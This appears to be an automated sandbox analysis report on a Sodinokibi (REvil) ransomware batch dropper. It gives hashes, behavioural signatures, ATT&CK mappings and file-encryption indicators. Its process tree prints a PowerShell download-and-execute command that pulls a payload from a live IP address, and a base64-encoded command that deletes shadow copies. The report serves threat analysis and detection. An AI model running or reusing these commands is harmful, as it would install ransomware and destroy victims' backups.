sodinokibi | 29b2a12ef2c75d6bb1bdbb4536e478a386dc4082a0756adc219bbd25c724bd1c

General

Target

hvQ21ebW.bat
Size

191B
MD5

7eb2eb2bf474386d8d7eef5ee2aaf3ef
SHA1

c9789a38150044b9ca8a4b9d350df691611f1861
SHA256

29b2a12ef2c75d6bb1bdbb4536e478a386dc4082a0756adc219bbd25c724bd1c
SHA512

827139be92e830cc7e7d6ac935327fe8960508ecb5e59cf338fb3cd2cc7cda12ae5686f15709bf5fec2cfb399912a9803f7b372601802bcd27e928072638b512

Score

10^/10

ransomware sodinokibi persistence

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/hvQ21ebW

Extracted

Language

ps1

Source

Signatures

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 1184 wrote to memory of 1456	1184	cmd.exe	powershell.exe
PID 1456 wrote to memory of 2020	1456	powershell.exe	powershell.exe
PID 1456 wrote to memory of 2020	1456	powershell.exe	powershell.exe
PID 1456 wrote to memory of 2020	1456	powershell.exe	powershell.exe
PID 1456 wrote to memory of 2020	1456	powershell.exe	powershell.exe

Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

8 1456 powershell.exe
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality
ransomware sodinokibi

flow	pid	process
8	1456	powershell.exe

Discovering connected drives 3 TTPs 7 IoCs

ransomware

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

powershell.execmd.exepowershell.exe

description	ioc	process
File opened (read-only)	\??\B:	powershell.exe
File opened (read-only)	\??\E:	powershell.exe
File opened (read-only)	\??\C:	cmd.exe
File opened (read-only)	\??\C:	powershell.exe
File opened (read-only)	\??\A:	powershell.exe
File opened (read-only)	\??\F:	powershell.exe
File opened (read-only)	\??\C:	powershell.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1774239815-1814403401-2200974991-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ao09zq21.bmp"	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

1456 powershell.exe

pid	process
1456	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1456	powershell.exe
Token: SeDebugPrivilege	1456	powershell.exe
Token: SeDebugPrivilege	2020	powershell.exe
Token: SeBackupPrivilege	1568	vssvc.exe
Token: SeRestorePrivilege	1568	vssvc.exe
Token: SeAuditPrivilege	1568	vssvc.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exe

pid process

1456 powershell.exe
1456 powershell.exe
1456 powershell.exe
2020 powershell.exe
2020 powershell.exe

pid	process
1456	powershell.exe
1456	powershell.exe
1456	powershell.exe
2020	powershell.exe
2020	powershell.exe

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Drops file in Program Files directory 33 IoCs

Processes:

powershell.exe

description	ioc	process
File created	\??\c:\program files\611dp0cc5-readme.txt	powershell.exe
File renamed	C:\Program Files\ConvertFromGet.xla => \??\c:\program files\ConvertFromGet.xla.611dp0cc5	powershell.exe
File opened for modification	\??\c:\program files\StepConnect.temp	powershell.exe
File opened for modification	\??\c:\program files\UnregisterEnable.ods	powershell.exe
File renamed	C:\Program Files\ConfirmUpdate.mpeg2 => \??\c:\program files\ConfirmUpdate.mpeg2.611dp0cc5	powershell.exe
File renamed	C:\Program Files\DebugRevoke.txt => \??\c:\program files\DebugRevoke.txt.611dp0cc5	powershell.exe
File renamed	C:\Program Files\WaitDebug.mhtml => \??\c:\program files\WaitDebug.mhtml.611dp0cc5	powershell.exe
File renamed	C:\Program Files\ImportLimit.rm => \??\c:\program files\ImportLimit.rm.611dp0cc5	powershell.exe
File renamed	C:\Program Files\MountBlock.xltx => \??\c:\program files\MountBlock.xltx.611dp0cc5	powershell.exe
File renamed	C:\Program Files\PublishCopy.ppt => \??\c:\program files\PublishCopy.ppt.611dp0cc5	powershell.exe
File opened for modification	\??\c:\program files\UseSkip.xps	powershell.exe
File renamed	C:\Program Files\UnregisterEnable.ods => \??\c:\program files\UnregisterEnable.ods.611dp0cc5	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\611dp0cc5-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\DebugRevoke.txt	powershell.exe
File opened for modification	\??\c:\program files\RegisterJoin.vsd	powershell.exe
File renamed	C:\Program Files\RegisterJoin.vsd => \??\c:\program files\RegisterJoin.vsd.611dp0cc5	powershell.exe
File opened for modification	\??\c:\program files\ConfirmUpdate.mpeg2	powershell.exe
File opened for modification	\??\c:\program files\ConvertFromGet.xla	powershell.exe
File renamed	C:\Program Files\JoinMove.vbs => \??\c:\program files\JoinMove.vbs.611dp0cc5	powershell.exe
File opened for modification	\??\c:\program files\PushFormat.jpe	powershell.exe
File opened for modification	\??\c:\program files\UnprotectWait.html	powershell.exe
File renamed	C:\Program Files\UseSkip.xps => \??\c:\program files\UseSkip.xps.611dp0cc5	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\611dp0cc5-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\ImportLimit.rm	powershell.exe
File opened for modification	\??\c:\program files\JoinMove.vbs	powershell.exe
File opened for modification	\??\c:\program files\MountBlock.xltx	powershell.exe
File opened for modification	\??\c:\program files\PublishCopy.ppt	powershell.exe
File renamed	C:\Program Files\StepConnect.temp => \??\c:\program files\StepConnect.temp.611dp0cc5	powershell.exe
File opened for modification	\??\c:\program files\WaitDebug.mhtml	powershell.exe
File created	\??\c:\program files (x86)\611dp0cc5-readme.txt	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\611dp0cc5-readme.txt	powershell.exe
File renamed	C:\Program Files\PushFormat.jpe => \??\c:\program files\PushFormat.jpe.611dp0cc5	powershell.exe
File renamed	C:\Program Files\UnprotectWait.html => \??\c:\program files\UnprotectWait.html.611dp0cc5	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\hvQ21ebW.bat"
1⤵
- Suspicious use of WriteProcessMemory
- Discovering connected drives
PID:1184

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/hvQ21ebW');Invoke-PBEESOQZ;Start-Sleep -s 10000"
2⤵
- Suspicious use of WriteProcessMemory
- Blacklisted process makes network request
- Discovering connected drives
- Sets desktop wallpaper using registry
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Drops file in Program Files directory
PID:1456

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Discovering connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:2020

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
- Modifies service
PID:1568

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4628e689-d195-4873-bc54-2194d7d68777

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_512b5fbe-a222-4c41-85f8-7f61ee5ca5bd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c6be20a0-2b44-41e6-b03e-788e1380648b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c85534f7-abc2-478b-a265-18e03f17967d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_eb154db7-5347-459d-a5ae-f27e0827e401

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ef13c2a6-fcdf-474f-b686-be9a419bd5e9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads